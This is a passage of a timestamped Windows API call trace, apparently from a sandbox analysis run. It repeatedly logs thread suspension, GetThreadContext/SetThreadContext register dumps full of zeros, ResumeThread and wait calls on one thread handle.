[122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.326] ResumeThread (hThread=0x130) returned 0x1
[0130.326] CloseHandle (hObject=0x130) returned 1
[0130.326] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.372] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.414] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.414] SuspendThread (hThread=0x130) returned 0x0
[0130.414] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f8a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1516880, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.415] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f8a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.415] ResumeThread (hThread=0x130) returned 0x1
[0130.415] CloseHandle (hObject=0x130) returned 1
[0130.415] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.456] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.497] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.497] SuspendThread (hThread=0x130) returned 0x0
[0130.497] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f7f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12ede60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.498] ResumeThread (hThread=0x130) returned 0x1
[0130.498] CloseHandle (hObject=0x130) returned 1
[0130.498] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.521] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.541] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.581] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.581] SuspendThread (hThread=0x130) returned 0x0
[0130.581] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x16d8d20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.583] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, 